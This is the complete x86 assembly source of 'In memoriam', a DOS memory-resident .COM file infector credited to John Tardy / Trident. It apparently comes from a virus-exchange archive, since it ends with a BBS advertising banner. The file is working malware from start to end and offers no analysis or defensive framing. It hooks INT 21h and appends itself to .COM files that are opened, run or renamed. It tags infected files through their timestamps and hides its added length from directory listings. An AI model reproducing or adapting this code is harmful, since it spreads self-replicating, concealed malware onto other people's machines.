;
; In memoriam Virus by John Tardy / Trident
;

                Org 0h

Main:           Push Ax
                call Get_Ofs
Get_Ofs:        pop Bp
                sub Bp,Get_Ofs
                Mov Ax,0DEADh
                Int 21h
                Cmp Ax,0AAAAh
                Je  Installed

                mov ax,3521h
                int 21h
                mov word ptr cs:old21[bp],bx
                mov word ptr cs:old21[bp][2],es

                mov     ax,cs                   ;adjust memory-size
                dec     ax
                mov     ds,ax
                cmp     byte ptr ds:[0000],'Z'
                jne     installed
                mov     ax,word ptr ds:[0003]
                sub     ax,ParLen
                jb      installed
                mov     word ptr ds:[0003],ax
                sub     word ptr ds:[0012h],ParLen
                lea     si,main[bp]
                mov     di,0
                mov     es,ds:[12h]
                mov     ds,cs
                mov     cx,virlen
                cld
                rep     movsb
                mov     ax,2521h
                mov     ds,es
                mov     dx,offset new21
                int     21h
Installed:      Mov Di,100h
                Lea Si,Org_Prg[Bp]
                Push Cs
                Push Cs
                Pop Ds
                Pop Es
                Cld
                Movsw
                Movsb
                Mov Bx,100h
                Pop Ax
                Push Bx
                Ret

Old21           dd 0

New21:          cmp ax,0deadh
                jne chkfunc
                mov ax,0aaaah
                iret
chkfunc:
                cmp ah,11h
                je  findFCBst
                cmp ah,12h
                je findfcbst
                cmp ah,4eh
                je findst
                cmp ah,4fh
                je findst
                push ax
                push bx
                push cx
                push dx
                push si
                push di
                push bp
                push ds
                push es
                cmp ah,3dh
                je  infectHan
                cmp ax,4b00h
                je  infectHan
                cmp ah,41h
                je  infectHan
                cmp ah,43h
                je  infectHan
                cmp ah,56h
                je  infectHan
                cmp ah,0fh
                je  infectFCB
                cmp ah,23h
                je  infectFCB
                jmp endint

findfcbst:      jmp findfcb
findst:         jmp find

InfectFCB:      mov si,dx
                inc si
                push cs
                pop es
                lea di,fnam
                mov cx,8
                rep movsb
                mov cx,3
                inc di
                rep movsb
                lea dx,fnam
                push cs
                pop ds

InfectHan:      mov si,dx
                mov cx,100h
                cld
findpnt:        lodsb
                cmp al,'.'
                je  chkcom
                loop findpnt
                jmp  endi
chkcom:         lodsw
                or ax,2020h
                cmp ax,'oc'
                jne endi
                lodsb
                or al,20h
                cmp al,'m'
                jne endi
                jmp doit
endi:           jmp endint
doit:           push dx
                push ds
                mov ax,4300h
                pushf
                call dword ptr cs:[old21]
                mov cs:fatr,cx
                mov ax,4301h
                xor cx,cx
                pushf
                call dword ptr cs:[old21]
                mov ax,3d02h
                pushf
                call dword ptr cs:[old21]
                jnc getdate
                jmp error
getdate:        xchg ax,bx
                mov ax,5700h
                pushf
                call dword ptr cs:[old21]
                mov cs:fdat,cx
                mov cs:fdat[2],dx
                and cx,1fh
                cmp cx,1fh
                jne chkexe
                jmp done
chkexe:         mov ah,3fh
                push cs
                pop ds
                lea dx,Org_prg
                mov cx,3
                pushf
                call dword ptr cs:[old21]
                cmp word ptr cs:Org_prg[0],'ZM'
                je  close
                cmp word ptr cs:Org_prg[0],'MZ'
                je close

                Mov ax,4202h
                xor cx,cx
                xor dx,dx
                pushf
                call dword ptr cs:[old21]
                sub ax,3
                mov cs:jump[1],ax

                mov ah,40h
                push cs
                pop ds
                lea dx,main
                mov cx,virlen
                pushf
                call dword cs:[old21]
                mov ax,4200h
                xor cx,cx
                xor dx,dx
                mov ah,40h
                lea dx,jump
                mov cx,3
                pushf
                call dword cs:[old21]

                or  cs:fdat,01fh

close:          mov ax,5701h
                mov cx,cs:fdat
                mov dx,cs:fdat[2]
                pushf
                call dword ptr cs:[old21]
done:           mov ah,3eh
                pushf
                call dword ptr cs:[old21]
                pop ds
                pop dx
                push dx
                push ds
                mov ax,4301h
                mov cx,fatr
                pushf
                call dword ptr cs:[old21]

error:          pop ds
                pop dx

endint:         pop es
                pop ds
                pop bp
                pop di
                pop si
                pop dx
                pop cx
                pop bx
                pop ax
                jmp dword ptr cs:[old21]

getdta:
                pop si
                pushf
                push ax
                push bx
                push es
                mov  ah,2fh
                call dos
                jmp short si

FindFCB:        call    DOS                             ; call orginal interrupt
                cmp     al,0                            ; error ?
                jne     Ret1
                call    getdta
                cmp     byte ptr es:[bx],-1             ; extended fcb ?
                jne     FCBOk
                add     bx,8                            ; yes, skip 8 bytes
FCBOk:          mov     al,es:[bx+16h]                  ; get file-time (low byte)
                and     al,1fh                          ; seconds
                cmp     al,1fh                          ; 62 seconds ?
                jne     FileOk                          ; no, file not infected
                sub     word ptr es:[bx+1ch],Virlen     ; adjust file-size
                sbb     word ptr es:[bx+1eh],0
                jmp     short Time

Find:           call    DOS
                jc      Ret1
                call    getdta
                mov     al,es:[bx+16h]
                and     al,1fh
                cmp     al,1fh
                jne     FileOk
                sub     word ptr es:[bx+1ah],VirLen
                sbb     word ptr es:[bx+1ch],0
Time:           xor     byte ptr es:[bx+16h],10h
FileOk:         pop     es
                pop     bx
                pop     ax
                popf
Ret1:           retf    2

dos:            pushf
                call    dword ptr cs:[old21]
                ret

Org_prg         dw 0cd90h
                db 21h

fnam            db 8 dup (0)
                db '.'
                db 3 dup (0)
                db 0
fatr            dw 0
fdat            dw 0,0


jump            db 0e9h,0,0

                Db 'In memoriam 14-10-92'

VirLen          Equ $-Main
ParLen          Equ (VirLen/10h)+10h





;  �������������������������������������������������������������������������
;  ���������������> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <���������������
;  �����������> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <�����������
;  �������������������������������������������������������������������������